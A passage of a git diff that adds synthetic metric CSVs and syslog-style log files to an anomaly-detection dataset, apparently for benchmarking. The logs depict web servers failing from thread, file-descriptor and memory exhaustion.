open files) +Jul 15 14:36:20 web-server[5647]: ERROR could not accept new connection +Jul 15 14:36:35 java[5417]: ERROR Exception in thread "main" java.lang.OutOfMemoryError: unable to create new native thread +Jul 15 14:36:35 kernel: [ 1752590195.0 ] cgroup: fork rejected by pids controller in /system.slice/web-app.service +Jul 15 14:36:40 systemd[1]: Started Session 17 of user app-runner. +Jul 15 14:36:40 web-server[1188]: INFO 172.17.0.1 - "GET /healthz HTTP/1.1" 200 +Jul 15 14:36:50 web-server[5798]: ERROR accept4() failed (24: Too many open files) +Jul 15 14:36:50 web-server[5798]: ERROR could not accept new connection +Jul 15 14:37:00 CRON[29465]: (root) CMD (command -v debian-sa1 > /dev/null && debian-sa1 1 1) +Jul 15 14:37:05 java[5555]: ERROR Exception in thread "main" java.lang.OutOfMemoryError: unable to create new native thread +Jul 15 14:37:05 kernel: [ 1752590225.0 ] cgroup: fork rejected by pids controller in /system.slice/web-app.service +Jul 15 14:37:05 web-server[1053]: INFO 172.17.0.1 - "GET /healthz HTTP/1.1" 200 +Jul 15 14:37:20 systemd[1]: Started Session 11 of user app-runner. +Jul 15 14:37:20 web-server[5875]: ERROR accept4() failed (24: Too many open files) +Jul 15 14:37:20 web-server[5875]: ERROR could not accept new connection diff --git a/anom_dataset/scenario_6/anom_6_4.csv b/anom_dataset/scenario_6/anom_6_4.csv new file mode 100644 index 0000000000000000000000000000000000000000..e3f2c02f7f7b861f3144ca686ede9f00c5e98203 --- /dev/null +++ b/anom_dataset/scenario_6/anom_6_4.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-19T10:00:00Z,11.293939029132925,40.09413899518914,24.58977112554252,1.1644536107183194,1.7262592304652244 +2025-08-19T10:00:05Z,14.800537552832992,39.96444625623645,21.5821548705502,1.1383753724805565,1.3811845441505466 +2025-08-19T10:00:10Z,14.216405734337009,44.377581778480526,20.617514623620878,1.1214544337627295,1.6927314164892269 +2025-08-19T10:00:15Z,17.046102186487502,42.67371821430779,22.371101020021413,1.1266121033495948,1.1375917013660242 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web-server[1123]: INFO GET /api/v1/user_data HTTP/1.1 200 OK +Aug 19 10:00:00 systemd[1]: Started Session 100 of user service-account. +Aug 19 10:00:00 kernel: [1823.45] TCP: request_sock_TCP: Possible SYN flooding on port 80. Sending cookies. +Aug 19 10:00:20 web-server[1123]: INFO GET /api/v1/user_data HTTP/1.1 200 OK +Aug 19 10:00:40 web-server[1123]: INFO GET /api/v1/user_data HTTP/1.1 200 OK +Aug 19 10:00:50 systemd[1]: Started Session 110 of user service-account. +Aug 19 10:01:00 web-server[1123]: INFO GET /api/v1/user_data HTTP/1.1 200 OK +Aug 19 10:01:15 kernel: [1823.45] TCP: request_sock_TCP: Possible SYN flooding on port 80. Sending cookies. +Aug 19 10:01:20 web-server[1123]: INFO GET /api/v1/user_data HTTP/1.1 200 OK +Aug 19 10:01:40 web-server[1123]: INFO GET /api/v1/user_data HTTP/1.1 200 OK +Aug 19 10:01:40 systemd[1]: Started Session 120 of user service-account. +Aug 19 10:02:00 web-server[1123]: INFO GET /api/v1/user_data HTTP/1.1 200 OK +Aug 19 10:02:20 web-server[1123]: INFO GET /api/v1/user_data HTTP/1.1 200 OK +Aug 19 10:02:30 systemd[1]: Started Session 130 of user service-account. +Aug 19 10:02:30 kernel: [1823.45] TCP: request_sock_TCP: Possible SYN flooding on port 80. Sending cookies. +Aug 19 10:02:40 web-server[1123]: INFO GET /api/v1/user_data HTTP/1.1 200 OK +Aug 19 10:03:00 web-server[1123]: INFO GET /api/v1/user_data HTTP/1.1 200 OK +Aug 19 10:03:20 web-server[1123]: WARN resource allocation: unable to create new thread, retrying... +Aug 19 10:03:30 web-server[1123]: INFO GET /api/v1/health_check HTTP/1.1 200 OK +Aug 19 10:03:45 web-server[1123]: WARN resource allocation: unable to create new thread, retrying... +Aug 19 10:04:05 web-server[1123]: INFO GET /api/v1/health_check HTTP/1.1 200 OK +Aug 19 10:04:10 web-server[1123]: WARN resource allocation: unable to create new thread, retrying... +Aug 19 10:04:35 web-server[1123]: WARN resource allocation: unable to create new thread, retrying... +Aug 19 10:04:40 web-server[1123]: INFO GET /api/v1/health_check HTTP/1.1 200 OK +Aug 19 10:05:00 web-server[1123]: WARN resource allocation: unable to create new thread, retrying... +Aug 19 10:05:15 web-server[1123]: INFO GET /api/v1/health_check HTTP/1.1 200 OK +Aug 19 10:05:25 web-server[1123]: WARN resource allocation: unable to create new thread, retrying... +Aug 19 10:05:50 web-server[1123]: ERROR Exception in thread pool: java.lang.OutOfMemoryError: unable to create new native thread +Aug 19 10:05:50 web-server[1123]: ERROR Can't create new thread, resource temporarily unavailable +Aug 19 10:05:55 web-server[1123]: ERROR Exception in thread pool: java.lang.OutOfMemoryError: unable to create new native thread +Aug 19 10:06:00 web-server[1123]: ERROR Exception in thread pool: java.lang.OutOfMemoryError: unable to create new native thread +Aug 19 10:06:00 web-server[1123]: ERROR Can't create new thread, resource temporarily unavailable +Aug 19 10:06:00 kernel: [1955.12] pid: 1123, comm: web-server, oom-kill:score=988 +Aug 19 10:06:05 web-server[1123]: ERROR Exception in thread pool: java.lang.OutOfMemoryError: unable to create new native thread +Aug 19 10:06:10 web-server[1123]: ERROR Exception in thread pool: java.lang.OutOfMemoryError: unable to create new native thread +Aug 19 10:06:10 web-server[1123]: ERROR Can't create new thread, resource temporarily unavailable +Aug 19 10:06:15 web-server[1123]: ERROR Exception in thread pool: java.lang.OutOfMemoryError: unable to create new native thread +Aug 19 10:06:15 kernel: [1955.12] pid: 1123, comm: web-server, oom-kill:score=988 +Aug 19 10:06:20 web-server[1123]: ERROR Exception in thread pool: java.lang.OutOfMemoryError: unable to create new native thread +Aug 19 10:06:20 web-server[1123]: ERROR Can't create new thread, resource temporarily unavailable +Aug 19 10:06:25 web-server[1123]: ERROR Exception in thread pool: java.lang.OutOfMemoryError: unable to create new native thread +Aug 19 10:06:30 web-server[1123]: ERROR Exception in thread pool: java.lang.OutOfMemoryError: unable to create new native thread +Aug 19 10:06:30 web-server[1123]: ERROR Can't create new thread, resource temporarily unavailable +Aug 19 10:06:30 kernel: [1955.12] pid: 1123, comm: web-server, oom-kill:score=988 +Aug 19 10:06:35 web-server[1123]: ERROR Exception in thread pool: java.lang.OutOfMemoryError: unable to create new native thread +Aug 19 10:06:40 web-server[1123]: ERROR Exception in thread pool: java.lang.OutOfMemoryError: unable to create new native thread +Aug 19 10:06:40 web-server[1123]: ERROR Can't create new thread, resource temporarily unavailable +Aug 19 10:06:45 web-server[1123]: ERROR Exception in thread pool: java.lang.OutOfMemoryError: unable to create new native thread +Aug 19 10:06:45 kernel: [1955.12] pid: 1123, comm: web-server, oom-kill:score=988 +Aug 19 10:06:50 web-server[1123]: ERROR Exception in thread pool: java.lang.OutOfMemoryError: unable to create new native thread +Aug 19 10:06:50 web-server[1123]: ERROR Can't create new thread, resource temporarily unavailable +Aug 19 10:06:55 web-server[1123]: ERROR Exception in thread pool: java.lang.OutOfMemoryError: unable to create new native thread +Aug 19 10:07:00 web-server[1123]: ERROR Exception in thread pool: java.lang.OutOfMemoryError: unable to create new native thread +Aug 19 10:07:00 web-server[1123]: ERROR Can't create new thread, resource temporarily unavailable +Aug 19 10:07:00 kernel: [1955.12] pid: 1123, comm: web-server, oom-kill:score=988 +Aug 19 10:07:05 web-server[1123]: ERROR Exception in thread pool: java.lang.OutOfMemoryError: unable to create new native thread +Aug 19 10:07:10 web-server[1123]: ERROR Exception in thread pool: java.lang.OutOfMemoryError: unable to create new native thread +Aug 19 10:07:10 web-server[1123]: ERROR Can't create new thread, resource temporarily unavailable +Aug 19 10:07:15 web-server[1123]: ERROR Exception in thread pool: java.lang.OutOfMemoryError: unable to create new native thread +Aug 19 10:07:15 kernel: [1955.12] pid: 1123, comm: web-server, oom-kill:score=988 +Aug 19 10:07:20 web-server[1123]: ERROR Exception in thread pool: java.lang.OutOfMemoryError: unable to create new native thread +Aug 19 10:07:20 web-server[1123]: ERROR Can't create new thread, resource temporarily unavailable +Aug 19 10:07:25 web-server[1123]: ERROR Exception in thread pool: java.lang.OutOfMemoryError: unable to create new native thread diff --git a/anom_dataset/scenario_6/anom_6_5.csv b/anom_dataset/scenario_6/anom_6_5.csv new file mode 100644 index 0000000000000000000000000000000000000000..0e82e73297c133c2f5a13775f177ad728ce19588 --- /dev/null +++ b/anom_dataset/scenario_6/anom_6_5.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-15T14:00:00Z,20.73,38.85,27.54,0.98,1.39 +2025-07-15T14:00:05Z,16.89,40.32,21.0,1.03,1.24 +2025-07-15T14:00:10Z,16.12,41.25,27.46,1.46,1.15 +2025-07-15T14:00:15Z,22.15,38.41,23.55,1.48,1.29 +2025-07-15T14:00:20Z,16.68,44.69,26.69,0.8,1.62 +2025-07-15T14:00:25Z,15.99,40.57,32.24,1.11,1.38 +2025-07-15T14:00:30Z,24.55,37.29,23.73,0.98,1.47 +2025-07-15T14:00:35Z,19.63,40.24,29.68,1.46,1.7 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+2025-07-15T14:07:20Z,89.64,92.55,25.47,0.23,0.38 +2025-07-15T14:07:25Z,87.98,96.65,29.18,0.2,0.23 diff --git a/anom_dataset/scenario_6/anom_6_5.log b/anom_dataset/scenario_6/anom_6_5.log new file mode 100644 index 0000000000000000000000000000000000000000..2f97326bdeb930687ce33eabc18832c44b3bd76f --- /dev/null +++ b/anom_dataset/scenario_6/anom_6_5.log @@ -0,0 +1,16 @@ +Jul 15 14:00:10 systemd[1]: Starting Clean php session files... +Jul 15 14:00:25 sshd[1345]: Accepted publickey for user from 10.0.2.2 port 54322 +Jul 15 14:00:50 CRON[2531]: (root) CMD (command -v debian-sa1 > /dev/null && debian-sa1 1 1) +Jul 15 14:02:05 web-app[1120]: INFO: [10.0.2.5] "GET /api/v1/user?id=123" 200 +Jul 15 14:02:55 web-app[1120]: INFO: [10.0.2.8] "POST /api/v1/login" 200 +Jul 15 14:03:30 web-app[1120]: WARN: High number of active threads: 512 +Jul 15 14:04:35 web-app[1120]: WARN: High number of open files: 1024 +Jul 15 14:05:25 web-app[1120]: WARN: Connection pool nearing capacity. +Jul 15 14:06:00 web-app[1120]: ERROR: failed to create new thread: Resource temporarily unavailable +Jul 15 14:06:10 web-app[1120]: ERROR: accept: Too many open files in system +Jul 15 14:06:20 kernel: [12345.678] pid_max reached, cannot create new thread +Jul 15 14:06:25 web-app[1120]: ERROR: [10.0.2.15] "GET /api/v1/data" 503 "Service Unavailable" +Jul 15 14:06:40 web-app[1120]: ERROR: failed to create new thread: Resource temporarily unavailable +Jul 15 14:06:45 web-app[1120]: ERROR: accept: Too many open files in system +Jul 15 14:07:00 web-app[1120]: ERROR: [10.0.2.11] "POST /api/v1/update" 503 "Service Unavailable" +Jul 15 14:07:20 web-app[1120]: ERROR: failed to create new thread: Resource temporarily unavailable diff --git a/anom_dataset/scenario_6/anom_6_6.csv b/anom_dataset/scenario_6/anom_6_6.csv new file mode 100644 index 0000000000000000000000000000000000000000..f259d4e7a061379dc65da255161bcc4ff4b3ae27 --- /dev/null +++ b/anom_dataset/scenario_6/anom_6_6.csv @@ -0,0 +1,91 @@ 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+2025-07-02T10:07:20Z,89.28583574955063,94.24383469811896,26.36920761597877,0.24892591994218827,0.5109156194355844 +2025-07-02T10:07:25Z,86.17780959871176,94.7840866894564,25.934436772246578,0.11275500840450166,0.124634045054468 diff --git a/anom_dataset/scenario_6/anom_6_6.log b/anom_dataset/scenario_6/anom_6_6.log new file mode 100644 index 0000000000000000000000000000000000000000..0ab040e08e61f85f7213cbec3fa6287872809fe2 --- /dev/null +++ b/anom_dataset/scenario_6/anom_6_6.log @@ -0,0 +1,50 @@ +Jul 02 10:00:01 web-server[1123]: INFO: Accepted connection from 192.168.1.54 +Jul 02 10:00:09 web-server[1123]: INFO: GET /api/v1/data HTTP/1.1 200 +Jul 02 10:00:14 kernel: [12345.2] TCP: connect to 10.0.0.5:8080 success +Jul 02 10:00:19 kernel: [12345.3] TCP: connect to 10.0.0.5:8080 success +Jul 02 10:00:22 web-server[1123]: INFO: Accepted connection from 192.168.1.54 +Jul 02 10:00:29 web-server[1123]: INFO: GET /api/v1/data HTTP/1.1 200 +Jul 02 10:00:34 kernel: [12345.6] TCP: connect to 10.0.0.5:8080 success +Jul 02 10:00:39 kernel: [12345.7] TCP: connect to 10.0.0.5:8080 success +Jul 02 10:00:43 web-server[1123]: INFO: Accepted connection from 192.168.1.54 +Jul 02 10:00:48 web-server[1123]: INFO: GET /api/v1/data HTTP/1.1 200 +Jul 02 10:00:51 kernel: [12345.10] TCP: connect to 10.0.0.5:8080 success +Jul 02 10:00:55 kernel: [12345.11] TCP: connect to 10.0.0.5:8080 success +Jul 02 10:01:01 web-server[1123]: INFO: Accepted connection from 192.168.1.54 +Jul 02 10:01:08 web-server[1123]: INFO: GET /api/v1/data HTTP/1.1 200 +Jul 02 10:01:13 kernel: [12345.14] TCP: connect to 10.0.0.5:8080 success +Jul 02 10:01:16 kernel: [12345.15] TCP: connect to 10.0.0.5:8080 success +Jul 02 10:01:20 web-server[1123]: INFO: Accepted connection from 192.168.1.54 +Jul 02 10:01:26 web-server[1123]: INFO: GET /api/v1/data HTTP/1.1 200 +Jul 02 10:01:32 kernel: [12345.18] TCP: connect to 10.0.0.5:8080 success +Jul 02 10:01:38 kernel: [12345.19] TCP: connect to 10.0.0.5:8080 success +Jul 02 10:01:41 web-server[1123]: INFO: user_id=119 has logged in +Jul 02 10:02:09 web-server[1123]: DEBUG: spawning new worker thread, thread_id=125 +Jul 02 10:02:34 web-server[1123]: INFO: user_id=127 has logged in +Jul 02 10:02:59 web-server[1123]: DEBUG: spawning new worker thread, thread_id=135 +Jul 02 10:03:23 web-server[1123]: INFO: user_id=134 has logged in +Jul 02 10:03:46 web-server[1123]: DEBUG: spawning new worker thread, thread_id=145 +Jul 02 10:04:13 web-server[1123]: INFO: user_id=102 has logged in +Jul 02 10:04:39 web-server[1123]: DEBUG: spawning new worker thread, thread_id=155 +Jul 02 10:05:04 web-server[1123]: INFO: user_id=184 has logged in +Jul 02 10:05:29 web-server[1123]: DEBUG: spawning new worker thread, thread_id=165 +Jul 02 10:05:51 kernel: [12789.70] web-server: accept4: Too many open files +Jul 02 10:05:56 web-server[1123]: ERROR: Can't create new thread, limit reached. +Jul 02 10:06:02 web-server[1123]: ERROR: java.lang.OutOfMemoryError: unable to create new native thread +Jul 02 10:06:07 kernel: [12789.73] web-server: accept4: Too many open files +Jul 02 10:06:13 web-server[1123]: ERROR: Can't create new thread, limit reached. +Jul 02 10:06:19 web-server[1123]: ERROR: java.lang.OutOfMemoryError: unable to create new native thread +Jul 02 10:06:21 kernel: [12789.76] web-server: accept4: Too many open files +Jul 02 10:06:28 web-server[1123]: ERROR: Can't create new thread, limit reached. +Jul 02 10:06:30 web-server[1123]: ERROR: java.lang.OutOfMemoryError: unable to create new native thread +Jul 02 10:06:35 kernel: [12789.79] web-server: accept4: Too many open files +Jul 02 10:06:41 web-server[1123]: ERROR: Can't create new thread, limit reached. +Jul 02 10:06:49 web-server[1123]: ERROR: java.lang.OutOfMemoryError: unable to create new native thread +Jul 02 10:06:53 kernel: [12789.82] web-server: accept4: Too many open files +Jul 02 10:06:57 web-server[1123]: ERROR: Can't create new thread, limit reached. +Jul 02 10:07:01 web-server[1123]: ERROR: java.lang.OutOfMemoryError: unable to create new native thread +Jul 02 10:07:05 kernel: [12789.85] web-server: accept4: Too many open files +Jul 02 10:07:14 web-server[1123]: ERROR: Can't create new thread, limit reached. +Jul 02 10:07:17 web-server[1123]: ERROR: java.lang.OutOfMemoryError: unable to create new native thread +Jul 02 10:07:22 kernel: [12789.88] web-server: accept4: Too many open files +Jul 02 10:07:28 web-server[1123]: ERROR: Can't create new thread, limit reached. diff --git a/anom_dataset/scenario_6/anom_6_7.csv b/anom_dataset/scenario_6/anom_6_7.csv new file mode 100644 index 0000000000000000000000000000000000000000..61b6f7cdfccad22e6ae03175552594ab5fef3d00 --- /dev/null +++ b/anom_dataset/scenario_6/anom_6_7.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-02T11:00:00Z,20.729259498617424,38.754253268543884,21.116352721666217,1.0859303364899384,1.2673232969773274 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+2025-07-02T11:05:25Z,87.98116457421425,62.23766528612471,22.545080777764856,0.39853412350128936,0.25117432674401297 +2025-07-02T11:05:30Z,90.85971071791134,63.17370551117804,21.75711846227036,0.3430503429747984,0.43103419969706225 +2025-07-02T11:05:35Z,86.836682506221,64.28687052681991,28.046245379303215,0.1035977917796125,0.3662865083500737 +2025-07-02T11:05:40Z,89.75707840652649,64.75390917331883,25.493242133656455,0.21954883627218275,0.20608429340872844 +2025-07-02T11:05:45Z,91.93077558160124,64.4458980925812,26.937939013443692,0.14319533372567722,0.3354905604133739 +2025-07-02T11:05:50Z,90.42108665380562,64.22046700812167,26.45151609330994,0.3466881287440664,0.4283412749103936 +2025-07-02T11:05:55Z,96.47430164958733,65.82894812169309,20.215922699996835,0.21145334895395168,0.4902049202133999 +2025-07-02T11:06:00Z,93.8140630972628,64.8084463150104,22.943674825204788,0.3166524392426091,0.4607895770655524 +2025-07-02T11:06:05Z,94.02283786609692,64.74042755385372,24.767509705318822,0.26959585050849744,0.22313992991849133 +2025-07-02T11:06:10Z,91.0593641645847,66.67085473253358,24.08281237496075,0.1754989138421587,0.25928324556662863 +2025-07-02T11:06:15Z,87.8140615432119,65.7764586013627,28.798893961434324,0.24097368253198684,0.22697214273489102 +2025-07-02T11:06:20Z,90.04238867966679,66.03135225973323,21.84646992273758,0.23310825115290418,0.3021041646585317 +2025-07-02T11:06:25Z,89.1961402592074,67.08634240463421,26.709478430756356,0.15509875737318018,0.3418044964702609 +2025-07-02T11:06:30Z,85.87522943177612,67.13902537670918,22.723657629106295,0.30882894693062346,0.48824278186626296 +2025-07-02T11:06:35Z,93.00165628444736,67.19264846838905,22.55683175238864,0.283445691921386,0.23404703218690717 +2025-07-02T11:06:40Z,94.23160592916341,68.51049156024632,25.976467522398433,0.2127439301930704,0.23364775715314326 +2025-07-02T11:06:45Z,87.9666073252454,68.36466118174994,22.245690099836057,0.1928723850817099,0.4818386459767516 +2025-07-02T11:06:50Z,93.29724284261754,68.4640024849165,22.878414002460616,0.29204603707200455,0.4477940421771287 +2025-07-02T11:06:55Z,95.35648674282298,68.98235727100743,29.744374624989423,0.3028008995125938,0.27273449985146736 +2025-07-02T11:07:00Z,91.49427920209556,69.33873745105944,20.298496242297446,0.35758648712905305,0.40578080771559266 +2025-07-02T11:07:05Z,91.83603698401892,69.32371742569958,25.36985820317647,0.1167060461125706,0.28032784490005574 +2025-07-02T11:07:10Z,95.4144580528274,69.70317636355215,23.78723074447194,0.30315522535917183,0.2590573072564399 +2025-07-02T11:07:15Z,88.42531391727066,70.92367793596465,24.298621290580527,0.25001888360164426,0.3280044082258373 +2025-07-02T11:07:20Z,86.95158442147991,71.72137804986409,27.200716357115667,0.14473552411244467,0.27161880571388713 +2025-07-02T11:07:25Z,94.05367015923609,71.59965731185439,23.393948478104207,0.1946009641253612,0.39587145768954396 diff --git a/anom_dataset/scenario_6/anom_6_7.log b/anom_dataset/scenario_6/anom_6_7.log new file mode 100644 index 0000000000000000000000000000000000000000..5318f9d4e588bf5f10ecec9db35a7bf346a2fe4c --- /dev/null +++ b/anom_dataset/scenario_6/anom_6_7.log @@ -0,0 +1,141 @@ +Jul 02 10:59:58 app-server[1123]: GET /api/v1/user/profile HTTP/1.1 200 OK +Jul 02 11:00:00 app-server[1123]: POST /api/v1/data/upload HTTP/1.1 202 Accepted +Jul 02 11:00:00 systemd[1]: Started Session 150 of user service-account. +Jul 02 11:00:04 app-server[1123]: GET /api/v1/user/profile HTTP/1.1 200 OK +Jul 02 11:00:09 app-server[1123]: GET /api/v1/user/profile HTTP/1.1 200 OK +Jul 02 11:00:14 app-server[1123]: GET /api/v1/user/profile HTTP/1.1 200 OK +Jul 02 11:00:19 app-server[1123]: GET /api/v1/user/profile HTTP/1.1 200 OK +Jul 02 11:00:21 app-server[1123]: POST /api/v1/data/upload HTTP/1.1 202 Accepted +Jul 02 11:00:24 app-server[1123]: GET /api/v1/user/profile HTTP/1.1 200 OK +Jul 02 11:00:29 app-server[1123]: GET /api/v1/user/profile HTTP/1.1 200 OK +Jul 02 11:00:34 app-server[1123]: GET /api/v1/user/profile HTTP/1.1 200 OK +Jul 02 11:00:38 app-server[1123]: GET /api/v1/user/profile HTTP/1.1 200 OK +Jul 02 11:00:41 app-server[1123]: POST /api/v1/data/upload HTTP/1.1 202 Accepted +Jul 02 11:00:43 app-server[1123]: GET /api/v1/user/profile HTTP/1.1 200 OK +Jul 02 11:00:48 app-server[1123]: GET /api/v1/user/profile HTTP/1.1 200 OK +Jul 02 11:00:50 systemd[1]: Started Session 160 of user service-account. +Jul 02 11:00:54 app-server[1123]: GET /api/v1/user/profile HTTP/1.1 200 OK +Jul 02 11:00:59 app-server[1123]: GET /api/v1/user/profile HTTP/1.1 200 OK +Jul 02 11:01:00 app-server[1123]: POST /api/v1/data/upload HTTP/1.1 202 Accepted +Jul 02 11:01:03 app-server[1123]: GET /api/v1/user/profile HTTP/1.1 200 OK +Jul 02 11:01:08 app-server[1123]: GET /api/v1/user/profile HTTP/1.1 200 OK +Jul 02 11:01:14 app-server[1123]: GET /api/v1/user/profile HTTP/1.1 200 OK +Jul 02 11:01:18 app-server[1123]: GET /api/v1/user/profile HTTP/1.1 200 OK +Jul 02 11:01:20 app-server[1123]: POST /api/v1/data/upload HTTP/1.1 202 Accepted +Jul 02 11:01:24 app-server[1123]: GET /api/v1/user/profile HTTP/1.1 200 OK +Jul 02 11:01:28 app-server[1123]: GET /api/v1/user/profile HTTP/1.1 200 OK +Jul 02 11:01:33 app-server[1123]: GET /api/v1/user/profile HTTP/1.1 200 OK +Jul 02 11:01:39 app-server[1123]: GET /api/v1/user/profile HTTP/1.1 200 OK +Jul 02 11:01:40 app-server[1123]: POST /api/v1/data/upload HTTP/1.1 202 Accepted +Jul 02 11:01:40 systemd[1]: Started Session 170 of user service-account. +Jul 02 11:01:44 app-server[1123]: GET /api/v1/user/profile HTTP/1.1 200 OK +Jul 02 11:01:49 app-server[1123]: GET /api/v1/user/profile HTTP/1.1 200 OK +Jul 02 11:01:54 app-server[1123]: GET /api/v1/user/profile HTTP/1.1 200 OK +Jul 02 11:01:58 app-server[1123]: GET /api/v1/user/profile HTTP/1.1 200 OK +Jul 02 11:02:01 app-server[1123]: POST /api/v1/data/upload HTTP/1.1 202 Accepted +Jul 02 11:02:03 app-server[1123]: GET /api/v1/user/profile HTTP/1.1 200 OK +Jul 02 11:02:08 app-server[1123]: GET /api/v1/user/profile HTTP/1.1 200 OK +Jul 02 11:02:13 app-server[1123]: GET /api/v1/user/profile HTTP/1.1 200 OK +Jul 02 11:02:19 app-server[1123]: GET /api/v1/user/profile HTTP/1.1 200 OK +Jul 02 11:02:21 app-server[1123]: POST /api/v1/data/upload HTTP/1.1 202 Accepted +Jul 02 11:02:24 app-server[1123]: GET /api/v1/user/profile HTTP/1.1 200 OK +Jul 02 11:02:28 app-server[1123]: GET /api/v1/user/profile HTTP/1.1 200 OK +Jul 02 11:02:30 systemd[1]: Started Session 180 of user service-account. +Jul 02 11:02:34 app-server[1123]: GET /api/v1/user/profile HTTP/1.1 200 OK +Jul 02 11:02:39 app-server[1123]: GET /api/v1/user/profile HTTP/1.1 200 OK +Jul 02 11:02:40 app-server[1123]: POST /api/v1/data/upload HTTP/1.1 202 Accepted +Jul 02 11:02:43 app-server[1123]: GET /api/v1/user/profile HTTP/1.1 200 OK +Jul 02 11:02:48 app-server[1123]: GET /api/v1/user/profile HTTP/1.1 200 OK +Jul 02 11:02:54 app-server[1123]: GET /api/v1/user/profile HTTP/1.1 200 OK +Jul 02 11:02:59 app-server[1123]: GET /api/v1/user/profile HTTP/1.1 200 OK +Jul 02 11:03:00 app-server[1123]: POST /api/v1/data/upload HTTP/1.1 202 Accepted +Jul 02 11:03:03 app-server[1123]: GET /api/v1/user/profile HTTP/1.1 200 OK +Jul 02 11:03:08 app-server[1123]: GET /api/v1/user/profile HTTP/1.1 200 OK +Jul 02 11:03:14 app-server[1123]: GET /api/v1/user/profile HTTP/1.1 200 OK +Jul 02 11:03:19 app-server[1123]: GET /api/v1/user/profile HTTP/1.1 200 OK +Jul 02 11:03:20 app-server[1123]: POST /api/v1/data/upload HTTP/1.1 202 Accepted +Jul 02 11:03:20 systemd[1]: Started Session 190 of user service-account. +Jul 02 11:03:23 app-server[1123]: GET /api/v1/user/profile HTTP/1.1 200 OK +Jul 02 11:03:28 app-server[1123]: GET /api/v1/user/profile HTTP/1.1 200 OK +Jul 02 11:03:34 app-server[1123]: GET /api/v1/user/profile HTTP/1.1 200 OK +Jul 02 11:03:38 app-server[1123]: GET /api/v1/user/profile HTTP/1.1 200 OK +Jul 02 11:03:41 app-server[1123]: POST /api/v1/data/upload HTTP/1.1 202 Accepted +Jul 02 11:03:44 app-server[1123]: GET /api/v1/user/profile HTTP/1.1 200 OK +Jul 02 11:03:49 app-server[1123]: GET /api/v1/user/profile HTTP/1.1 200 OK +Jul 02 11:03:53 app-server[1123]: GET /api/v1/user/profile HTTP/1.1 200 OK +Jul 02 11:03:58 app-server[1123]: GET /api/v1/user/profile HTTP/1.1 200 OK +Jul 02 11:04:01 app-server[1123]: POST /api/v1/data/upload HTTP/1.1 202 Accepted +Jul 02 11:04:04 app-server[1123]: GET /api/v1/user/profile HTTP/1.1 200 OK +Jul 02 11:04:09 app-server[1123]: GET /api/v1/user/profile HTTP/1.1 200 OK +Jul 02 11:04:11 systemd[1]: Started Session 200 of user service-account. +Jul 02 11:04:13 app-server[1123]: GET /api/v1/user/profile HTTP/1.1 200 OK +Jul 02 11:04:18 app-server[1123]: GET /api/v1/user/profile HTTP/1.1 200 OK +Jul 02 11:04:21 app-server[1123]: POST /api/v1/data/upload HTTP/1.1 202 Accepted +Jul 02 11:04:24 app-server[1123]: GET /api/v1/user/profile HTTP/1.1 200 OK +Jul 02 11:04:29 app-server[1123]: GET /api/v1/user/profile HTTP/1.1 200 OK +Jul 02 11:04:33 app-server[1123]: GET /api/v1/user/profile HTTP/1.1 200 OK +Jul 02 11:04:39 app-server[1123]: GET /api/v1/user/profile HTTP/1.1 200 OK +Jul 02 11:04:41 app-server[1123]: POST /api/v1/data/upload HTTP/1.1 202 Accepted +Jul 02 11:04:43 app-server[1123]: GET /api/v1/user/profile HTTP/1.1 200 OK +Jul 02 11:04:48 app-server[1123]: GET /api/v1/user/profile HTTP/1.1 200 OK +Jul 02 11:04:54 app-server[1123]: GET /api/v1/user/profile HTTP/1.1 200 OK +Jul 02 11:04:58 app-server[1123]: ERROR accept4: Too many open files (24) +Jul 02 11:05:00 kernel: [11345.123456] pid 1123 (app-server): maybe_deny_new_fd: too many open files (max 65535) +Jul 02 11:05:03 app-worker[2351]: java.lang.OutOfMemoryError: unable to create new native thread +Jul 02 11:05:05 app-server[1123]: ERROR accept4: Too many open files (24) +Jul 02 11:05:08 app-worker[2351]: java.lang.OutOfMemoryError: unable to create new native thread +Jul 02 11:05:10 app-server[1123]: ERROR accept4: Too many open files (24) +Jul 02 11:05:12 app-server[1123]: ERROR accept4: Too many open files (24) +Jul 02 11:05:15 kernel: [11345.123456] pid 1123 (app-server): maybe_deny_new_fd: too many open files (max 65535) +Jul 02 11:05:18 app-worker[2351]: java.lang.OutOfMemoryError: unable to create new native thread +Jul 02 11:05:20 app-server[1123]: ERROR accept4: Too many open files (24) +Jul 02 11:05:23 app-worker[2351]: java.lang.OutOfMemoryError: unable to create new native thread +Jul 02 11:05:25 app-server[1123]: ERROR accept4: Too many open files (24) +Jul 02 11:05:28 app-server[1123]: ERROR accept4: Too many open files (24) +Jul 02 11:05:30 kernel: [11345.123456] pid 1123 (app-server): maybe_deny_new_fd: too many open files (max 65535) +Jul 02 11:05:32 app-worker[2351]: java.lang.OutOfMemoryError: unable to create new native thread +Jul 02 11:05:35 app-server[1123]: ERROR accept4: Too many open files (24) +Jul 02 11:05:38 app-worker[2351]: java.lang.OutOfMemoryError: unable to create new native thread +Jul 02 11:05:40 app-server[1123]: ERROR accept4: Too many open files (24) +Jul 02 11:05:42 app-server[1123]: ERROR accept4: Too many open files (24) +Jul 02 11:05:45 kernel: [11345.123456] pid 1123 (app-server): maybe_deny_new_fd: too many open files (max 65535) +Jul 02 11:05:48 app-worker[2351]: java.lang.OutOfMemoryError: unable to create new native thread +Jul 02 11:05:50 app-server[1123]: ERROR accept4: Too many open files (24) +Jul 02 11:05:52 app-worker[2351]: java.lang.OutOfMemoryError: unable to create new native thread +Jul 02 11:05:55 app-server[1123]: ERROR accept4: Too many open files (24) +Jul 02 11:05:58 app-server[1123]: ERROR accept4: Too many open files (24) +Jul 02 11:06:00 kernel: [11345.123456] pid 1123 (app-server): maybe_deny_new_fd: too many open files (max 65535) +Jul 02 11:06:02 app-worker[2351]: java.lang.OutOfMemoryError: unable to create new native thread +Jul 02 11:06:05 app-server[1123]: ERROR accept4: Too many open files (24) +Jul 02 11:06:08 app-worker[2351]: java.lang.OutOfMemoryError: unable to create new native thread +Jul 02 11:06:10 app-server[1123]: ERROR accept4: Too many open files (24) +Jul 02 11:06:13 app-server[1123]: ERROR accept4: Too many open files (24) +Jul 02 11:06:15 kernel: [11345.123456] pid 1123 (app-server): maybe_deny_new_fd: too many open files (max 65535) +Jul 02 11:06:17 app-worker[2351]: java.lang.OutOfMemoryError: unable to create new native thread +Jul 02 11:06:20 app-server[1123]: ERROR accept4: Too many open files (24) +Jul 02 